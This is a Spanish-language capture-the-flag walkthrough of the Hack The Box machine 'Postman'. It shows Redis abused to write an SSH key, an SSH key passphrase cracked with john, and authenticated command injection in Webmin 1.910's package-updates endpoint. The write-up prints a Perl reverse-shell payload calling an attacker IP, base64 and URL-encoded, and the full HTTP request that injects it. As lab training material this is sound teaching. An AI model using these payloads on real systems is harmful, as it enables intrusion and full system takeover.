Resumen

Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en Redis que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario redis. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario Matt. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar su para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a Webmin y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a root

Imagen del post

Enumeración

Inicio con un escaneo de puertos para identificar la superficie de ataque.

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
|   256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open  http    syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web (Puertos 80 y 10000)

Puerto 80: Muestra “The Cyber Geek’s Personal Website”, una página en construcción que no revela información útil tras el fuzzing

Imagen del post

Puerto 10000 (Webmin): Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.

Imagen del post

https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite

Acceso Inicial: Redis

Enumeración de Redis (Puerto 6379)

Al conectarme al servicio Redis, descubro que no requiere autenticación (config get requirepass está vacío). Esto me permite ejecutar comandos de configuración críticos.

El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:

10.129.2.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

Explotación: Escritura de Clave SSH

Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo authorized_keys del usuario redis.

Genero un par de claves SSH localmente.

┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot]
└─$ ls
id_ed25519  id_ed25519.pub

Escribo la clave pública en la memoria de Redis:

┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot]
└─$ cat id_ed25519.pub | redis-cli -h 10.129.2.1 -x set ssh_key                                                                                                                         
OK

Configuro el nombre del archivo de destino y guardo:

Imagen del post

10.129.2.1:6379> CONFIG SET dbfilename authorized_keys
OK
10.129.2.1:6379> save
OK
10.129.2.1:6379> exit

Nota: Inicialmente el login falla. Esto se debe a que el comando save de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (\n\n) antes y después de la clave pública para aislarla de la “basura” binaria, permitiendo que sshd la lea correctamente.

(echo -e "\n\n"; cat ~/id_rsa_generated.pub; echo -e "\n\n") > spaced_key.txt

Cuando se usa el comando SAVE o BGSAVE en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato RDB, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que sshd (el servicio de SSH) no entiende.

El servicio sshd es muy tolerante cuando lee el archivo authorized_keys. Su comportamiento es:

  • Ignora las líneas que no reconoce o que tienen basura binaria.
  • Busca específicamente una línea que empiece por ssh-rsa (o el algoritmo que uses).

Al rodear la llave con varios \n (saltos de línea), nos aseguramos de que la llave pública quede aislada en su propia línea, separada de la basura binaria que Redis escribe al principio y al final del archivo.

Una vez corregido, accedo por SSH como el usuario redis.

Imagen del post

Movimiento Lateral: Usuario Matt

Ya dentro del sistema, enumero los archivos del usuario.

Enumerando podemos ver que el usuario redis estaba controlado por Matt.

redis@Postman:~$ cat .bash_history 
exit
su Matt
pwd
nano scan.py
python scan.py
nano scan.py
clear
nano scan.py
clear
python scan.py
exit
exit
cat /etc/ssh/sshd_config 
su Matt
clear
cd /var/lib/redis
su Matt
exit
cat id_rsa.bak 
ls -la
exit
cat id_rsa.bak 
exit
ls -la
crontab -l
systemctl enable redis-server
redis-server
ifconfig
netstat -a
netstat -a
netstat -a
netstat -a
netstat -a > txt
exit
crontab -l
cd ~/
ls
nano 6379
exit

Lo que más llama la atención es ese archivo id_rsa.bak

redis@Postman:/home/Matt$ find / -name "id_rsa.bak" 2>/dev/null 
/opt/id_rsa.bak

Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.

El problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.

cat /etc/ssh/sshd_config 

BLA, BLA 

#deny users
DenyUsers Matt

BLA, BLA

Cracking de Clave SSH

Igualmente utilizo ssh2john para convertir la clave a un formato crackeable y luego john con el diccionario rockyou.

Imagen del post

┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# ssh2john id_rsa 
id_rsa:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63
                                                                                                                                                                                                                 
┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# ssh2john id_rsa > id_rsa.hash


┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash

computer2008     (id_rsa)

Tenemos contraseña! computer2008

Probamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt. Sin embargo, como ya estoy dentro como redis, puedo cambiar de usuario localmente usando la contraseña crackeada.

Imagen del post

Bingo!

Consigo la user flag.

Elevación de privilegios

Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales Matt:computer2008 en el panel de login y logro acceder.

Imagen del post

Estamos dentro.

Imagen del post

La versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro u del script /package-updates/update.cgi

Preparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.

echo -n "perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"10.10.15.44:4444\");STDIN->fdopen(\$c,r);\$~->fdopen(\$c,w);system\$_ while<>;'" | base64 -w 0


cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==
| bash -c "{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}"

Lo URL Encodeamos.

+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A

Al enviar la petición, recibo una conexión inversa en mi listener como el usuario root.

POST /package-updates/update.cgi HTTP/1.1
Host: 10.129.2.1:10000
Cookie: redirect=1; testing=1; sid=af122636c747c504f006f91e9b600aae
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Progressive-Url: https://10.129.2.1:10000/package-updates/update.cgi
X-Requested-From: package-updates
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Content-Length: 289
Origin: https://10.129.2.1:10000
Referer: https://10.129.2.1:10000/package-updates/update.cgi?xnavigation=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

u=acl%2Fapt&u=+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A

Rooted.

Imagen del post